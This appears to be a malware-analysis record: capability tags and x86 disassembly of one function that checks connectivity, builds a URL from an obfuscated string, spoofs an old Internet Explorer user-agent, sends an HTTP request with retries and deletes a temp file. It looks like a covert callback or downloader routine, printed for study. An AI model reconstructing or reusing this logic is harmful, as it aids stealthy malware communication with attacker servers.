Function at 0x1401c5d9
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Delete file
Get common file path
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x73c
mov eax, dword [0x14043524]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
xor ebx, ebx
push 0x7e
mov word [ebp - 0x88], ax
lea eax, [ebp - 0x86]
push ebx
push eax
mov dword [ebp - 0x72c], 3
mov dword [ebp - 0x738], 0x1403e9a0
mov dword [ebp - 0x734], ebx
call fcn.1401f600
add esp, 0xc
xor eax, eax
push 0x7e
mov word [ebp - 0x108], ax
lea eax, [ebp - 0x106]
push ebx
push eax
call fcn.1401f600
add esp, 0xc
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x310], ax
lea eax, [ebp - 0x30e]
push ebx
push eax
call fcn.1401f600
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x518], ax
lea eax, [ebp - 0x516]
push ebx
push eax
call fcn.1401f600
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x720], ax
lea eax, [ebp - 0x71e]
push ebx
push eax
call fcn.1401f600
add esp, 0xc
push dword [0x14045c68]
lea eax, [ebp - 0x88]
push str.http:___ws
push eax
mov esi, 0x104
mov eax, esi
call fcn.1400c621
add esp, 0xc
push dword [0x14045c68]
lea eax, [ebp - 0x108]
push 0x1403e9c4
push eax
mov eax, esi
call fcn.1400c621
add esp, 0xc
push dword [0x14045b88]
mov eax, str.0jo_qiq_vsm_6bggje_xt
call fcn.1401c4b3
push eax
lea eax, [ebp - 0x720]
push eax
mov eax, esi
call fcn.1400c621
add esp, 0xc
lea eax, [ebp - 0x518]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x1403e9fc
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x721], bl
cmp byte [ebp - 0x721], bl
jne 0x1401c861
push 0x64
pop edi
push edi
call esi
push ebx
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
push edi
call esi
push ebx
push 1
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x1401c848
push edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_5.0__compatible__MSIE_6.0__Windows_XP_
call dword [sym.imp.WININET.dll_InternetOpenW]
push edi
mov dword [ebp - 0x728], eax
call esi
cmp dword [ebp - 0x728], ebx
je 0x1401c848
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x728]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [ebp - 0x730], eax
cmp eax, ebx
je 0x1401c834
push edi
call esi
push 1
push 0x84400000
lea eax, [ebp - 0x738]
push eax
lea eax, [ebp - 0x88]
push eax
push ebx
lea eax, [ebp - 0x720]
push eax
push 0x1403ea68
push dword [ebp - 0x730]
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
cmp edi, ebx
je 0x1401c824
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x1401c81d
lea eax, [ebp - 0x310]
push eax
push edi
call fcn.1401c50d
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
push ebx
push ebx
push edi
mov byte [ebp - 0x721], 1
call dword [sym.imp.WININET.dll_HttpEndRequestW]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call esi
push dword [ebp - 0x730]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x728]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [ebp - 0x721], bl
jne 0x1401c855
dec dword [ebp - 0x72c]
push 0x1388
call esi
cmp dword [ebp - 0x72c], ebx
ja 0x1401c72d
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1401f2d2
leave
ret